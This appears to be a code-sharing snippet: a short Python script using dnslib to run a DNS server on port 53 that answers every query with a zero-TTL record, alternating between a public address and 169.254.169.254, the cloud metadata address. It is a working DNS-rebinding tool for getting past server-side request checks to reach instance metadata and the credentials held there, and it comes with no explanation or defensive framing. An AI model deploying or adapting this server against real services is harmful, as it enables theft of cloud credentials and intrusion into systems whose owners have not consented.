Created
March 21, 2020 23:03
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| from dnslib import RR | |
| from dnslib.server import DNSServer,DNSHandler,BaseResolver,DNSLogger | |
| counter = 0 | |
| def get_ip_now(): | |
| global counter | |
| if counter == 0: | |
| counter = 1 | |
| return "123.123.123.123" | |
| elif counter == 1: | |
| counter = 0 | |
| return "169.254.169.254" | |
| class Resolver(BaseResolver): | |
| def resolve(self,request,handler): | |
| asked_name = str( request.q.qname ) | |
| reply = request.reply() | |
| reply.add_answer(*RR.fromZone(asked_name + " 0 A " + get_ip_now())) | |
| return reply | |
| resolver = Resolver() | |
| logger = DNSLogger() | |
| server = DNSServer(resolver,port=53,address='0.0.0.0',tcp=0,logger=logger) | |
| server.start() |
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